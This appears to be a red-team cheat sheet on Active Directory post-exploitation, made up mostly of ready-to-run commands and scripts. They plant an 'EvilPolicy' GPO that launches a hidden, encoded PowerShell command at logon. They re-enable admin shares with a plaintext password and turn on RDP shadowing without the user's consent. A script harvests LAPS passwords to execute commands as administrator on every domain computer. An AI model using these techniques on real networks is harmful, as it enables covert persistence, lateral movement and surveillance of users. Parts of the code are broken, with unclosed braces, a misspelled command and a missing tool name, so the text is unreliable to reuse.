Post Exploitation

Post Exploitation in Active Directory


Identify the OU containing the VICTIM-PC object:

PS > Add-WindowsFeature -Name "RSAT-AD-PowerShell"
PS > Import-Module ActiveDirectory
PS > Get-ADComputer -Identity VICTIM-PC | select DistinguishedName

Create a GPO using GPMC:

  1. Run > gpmc.msc.

  2. Create a new GPO in the OU in which VICTIM-PC resides.

  3. Remove Authenticated Users from Security Filtering and add VICTIM-PC there.

  4. Link it to the OU and edit it.

Usually, it takes between 90 and 120 minutes for a new GPO to be applied. Force it with:

Cmd > gpudate.exe /force
  Computer Configuration
      Administrative Templates
        Windows Components
          Remote Desktop Services
            Remote Desktop Session Host
                Allow users to connect remotely using Remote Desktop Services
                  Enabled, OK

Reach a Locked-down Domain Computer

If you find yourself in a situation when you're already a domain admin and you need to access a locked-down domain computer (no RDP/WinRM, no SMB shares, no owned local admins, etc.), creating an evil GPO may help.

Create a GPO using PowerShell (will trigger a command when the victim user logs in):

PS > Add-WindowsFeature -Name "GPMC"
PS > Import-Module GroupPolicy
PS > New-GPO -Name EvilPolicy -Domain megacorp.local -Server DC01.megacorp.local
PS > Set-GPPermission -Name EvilPolicy -Replace -PermissionLevel GpoApply -TargetName "victim.user" -TargetType User
PS > Set-GPPermission -Name EvilPolicy -Replace -PermissionLevel GpoApply -TargetName "VICTIM-PC" -TargetType Computer
PS > Set-GPPermission -Name EvilPolicy -PermissionLevel None -TargetName "Authenticated Users" -TargetType Group
PS > New-GPLink -Name EvilPolicy -Domain megacorp.local -Target "<TARGET_OU>" -Order 1 -Enforced Yes
PS > Set-GPRegistryValue -Name EvilPolicy -Key "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName MSstart -Type String -Value "powershell.exe -NoP -sta -NonI -W Hidden -Exec Bypass -Enc <BASE64_CMD>"

Enable ADMIN shares manually by restoring AutoShareServer:

$ -nooutput megacorp.local/snovvcrash:'Passw0rd!'@ 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /t REG_DWORD /d 1 /f && net stop server && net start server'

Shadow RDP

Enable Shadow RDP via group policies or by manually setting the registry and connect to an active session on the target machine.


Cmd > reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4 (or 2 for mstsc /control) /f
Cmd > netsh advfirewall firewall set rule name="Remote Desktop - Shadow (TCP-In)" new enable=yes
Cmd > netsh advfirewall firewall set rule name="File and Printer Sharing (SMB-In)" new enable=yes
PS > New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" -Name "Shadow" -PropertyType "DWORD" -Value 4 (or 2 for mstsc /control) -Force
PS > Enable-NetFirewallRule RemoteDesktop-Shadow-In-TCP
PS > Enable-NetFirewallRule FPS-SMB-In-TCP*

Shadow the RDP:

Cmd > qwinsta.exe /server:
Cmd > mstsc.exe /v: /shadow:<ID> /noConsentPrompt [/control]


Cmd > reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /f
Cmd > netsh advfirewall firewall set rule name="Remote Desktop - Shadow (TCP-In)" new enable=no
Cmd > netsh advfirewall firewall set rule name="File and Printer Sharing (SMB-In)" new enable=no
PS > Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" -Name "Shadow" -Force
PS > Disable-NetFirewallRule RemoteDesktop-Shadow-In-TCP
PS > Disable-NetFirewallRule FPS-SMB-In-TCP*


Run on Domain Computers

An example PowerShell script to execute commands as a local admin on all domain computers pulling LAPS passwords automatically:

 # Save with Encoding "UTF-8 with BOM"

[System.Console]::OutputEncoding = [System.Text.Encoding]::UTF8
$ErrorActionPreference = "Stop"

$command = '[System.Console]::OutputEncoding = [System.Text.Encoding]::UTF8; '
$command += 'whoami > C:\Windows\Temp\whoami.txt 2>&1'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | ? {$ -ne $(hostname)} | select name,ms-Mcs-AdmPwd | ForEach-Object {
	$comp = $_."name"
	$pass = $_."ms-Mcs-AdmPwd"

	if (Test-Connection -BufferSize 32 -Count 1 -ComputerName $comp -Quiet) {
		try {
			$cred = New-Object System.Management.Automation.PSCredential("$comp\administrator", $(ConvertTo-SecureString $pass -AsPlainText -Force))
			$proc = Invoke-WmiMethod Win32_Process -Name Create -ArgumentList ("powershell -enc $encodedCommand") -ComputerName $comp -Credential $cred

			do {
				Write-Host -ForegroundColor Green "[*] Waiting for script to finish on $comp"
				Start-Sleep -Seconds 2
			} until ((Get-WmiObject -Class Win32_Process -Filter "ProcessId=$proc.ProcessId" -ComputerName $comp -Credential $cred | where {$_.ProcessId -eq $proc.ProcessId}).ProcessId -eq $null)

			net use "\\$comp" /user:administrator $pass 2>&1 | Out-Null
			Get-Content "\\$comp\C$\Windows\Temp\whoami.txt"
			Remove-Item "\\$comp\C$\Windows\Temp\whoami.txt" -Force
			net use "\\$comp" /delete 2>&1 | Out-Null
		catch {
			Write-Host -ForegroundColor Red "[-] Connection failure: $comp"
	else {
		Write-Host -ForegroundColor Yellow "[!] Connection timed out: $comp"

Locate DFS Targets

Locate a root target:

Cmd > dfsutil root \\megacorp.local\MyShare
PS > Get-DfsnRootTarget \\megacorp.local\MyShare

Locate a root folder:

PS > Get-DfsnFolderTarget \\megacorp.local\MyShare\Documents


PS > Get-DfsnRoot | % {Get-DfsnFolder ($_.Path + "\*")} | % {Get-DfsnFolderTarget $_.Path} | ft -AutoSize

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